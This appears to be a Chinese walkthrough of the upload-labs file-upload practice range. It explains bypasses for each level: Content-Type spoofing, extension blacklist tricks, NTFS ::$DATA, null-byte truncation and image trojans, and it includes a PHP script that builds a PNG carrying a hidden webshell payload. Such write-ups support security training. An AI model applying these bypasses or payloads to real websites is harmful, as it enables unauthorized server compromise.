前言:
现时兄弟们对“phpswfupload”大概比较珍视,我们都需要剖析一些“phpswfupload”的相关内容。那么小编在网络上收集了一些对于“phpswfupload””的相关文章,希望大家能喜欢,你们快快来了解一下吧!这是一个专门练习文件上传的靶场,和sqli-labs靶场类似。
github项目地址:
虽然不能把文件解析漏洞录入,但也是不错的平台,感兴趣的可以自己配置环境+手动改源码。
分享几个技巧,希望可以帮助兄弟们练习靶场。
less1:对文件后缀名进行了检查
用BP抓包,上传个php文件,发现直接在客户端反应了,
说明过滤代码在客户端,用firebug查看,找到了checkfile函数;在这里修改即可!也可以先上传jpg文件,然后在bp抓包后修改文件为PHP的后缀名。
less2:只对 content-type进行了检查
查看源码:
($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')
BP抓包改文件类型;
Content-Type: application/octet-stream
改为: Content-Type: image/png
less3:提示:不允许上传.asp,.aspx,.php,.jsp后缀文件! //黑名单绕过
可以上传其他类型的文件: .phtml .phps .php5 .pht 等。
提交php文件,改后缀名jpg绕过。
less4:同上题。 .htaccess 后缀名并没有过滤
黑名单有点长: array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4", ".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp", ".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx", ".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf")
less5:大小写绕过。这题过滤了.htaccess
array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3", ".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa", ".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx", ".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
less6:空格绕过 abc.php空格
这题并没有去除空格: $file_ext = trim($file_ext); //首尾去空
less7:这题没有尾部去点。同6绕过 , abc.php .
加上了去空格,少了尾部取点。
$file_name = deldot($file_name);//删除文件名末尾的点
less8:::$DATA绕过
a.php::$DATA
相比第七题,缺少去除字符串:$DATA
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。
备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。
仅windows下可用;
在php+windows的情况下:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,
不会检测后缀名.且保持"::$DATA"之前的文件名。
less9:通过点空格点绕过。
在bp使用cookie.php. .绕过。
less10:双写绕过
使用替换函数,移除黑名单: (针对非windows系统)
$file_name = str_ireplace($deny_ext,"", $file_name);
less11:0x00截断 GET型
php版本低于5.3.29magic_quotes_gpc = OFF
从源码里可以看到一个GET型传参 save_path
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
less12:0X00截断
原理同11题,改为POST型传参
less13:
使用图片木马! copy 1.jpg/b+1.txt 2.jpg
通过其他文件包含漏洞进一步利用。
less14:同13题
使用了getimagesize函数;
$info = getimagesize($filename); 结果是数组
list($width,height,$type,$attr) = $info; /*list() 是可以定义多个变量的*/
echo "宽度为:".$width;
echo "高度为:".$height;
echo "类型为:".$type;
echo "属性为:".$attr;
less15: 需要打开 php_exif
php内置函数库-用于处理图片:
Exif 函数
exif_imagetype — 判断一个图像的类型
exif_read_data — 从 JPEG 或 TIFF 文件中读取 EXIF 头信息
exif_tagname — 获取指定索引的头名称
exif_thumbnail — 取得嵌入在 TIFF 或 JPEG 图像中的缩略图
read_exif_data — 别名 exif_read_data
同13题,生成图片码上传;
less16: 二次渲染
PNG图片码:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
在本地生成1.png的图片码。
GIF:
在文件渲染后,没有变化的文本里写入一句话木马。